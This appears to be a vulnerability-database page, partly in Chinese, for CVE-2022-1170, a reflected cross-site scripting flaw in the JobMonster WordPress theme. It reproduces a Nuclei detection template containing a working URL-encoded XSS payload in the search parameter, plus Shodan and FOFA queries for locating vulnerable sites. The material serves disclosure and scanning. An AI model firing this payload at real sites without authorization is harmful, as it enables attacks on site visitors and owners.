CVE-2022-1170: JobMonster < 4.5.2.9 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: JobMonster | POC: 已公开

漏洞描述

In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.

PoC代码[已公开]

id: CVE-2022-1170

info:
  name: JobMonster < 4.5.2.9 - Cross-Site Scripting
  author: Akincibor,ritikchaddha
  severity: medium
  description: |
    In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.
  reference:
    - https://wpscan.com/vulnerability/2ecb18e6-b575-4a20-bd31-94d24f1d1efc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1170
    - https://themeforest.net/item/jobmonster-job-board-wordpress-theme/10965446
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1170
    cwe-id: CWE-79
    epss-score: 0.00931
    epss-percentile: 0.75288
    cpe: cpe:2.3:a:nootheme:jobmonster:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nootheme
    product: jobmonster
    framework: wordpress
    shodan-query: http.html:/wp-content/themes/noo-jobmonster
    fofa-query: body=/wp-content/themes/noo-jobmonster
    publicwww-query: "/wp-content/themes/noo-jobmonster"
  tags: cve,cve2022,wpscan,wp,wp-theme,wordpress,xss,jobmonster,nootheme

http:
  - method: GET
    path:
      - '{{BaseURL}}/resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'noo-resume'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206a49f8872b3a02cc179495e136aee3d456b38403146d32569c3b78ff426aad87022100e9202a7a0b406ed2e3a67638d2c0690204259e04214edf4aba0e87af0cfe56f7:922c64590222798bb761d5b6d8e72950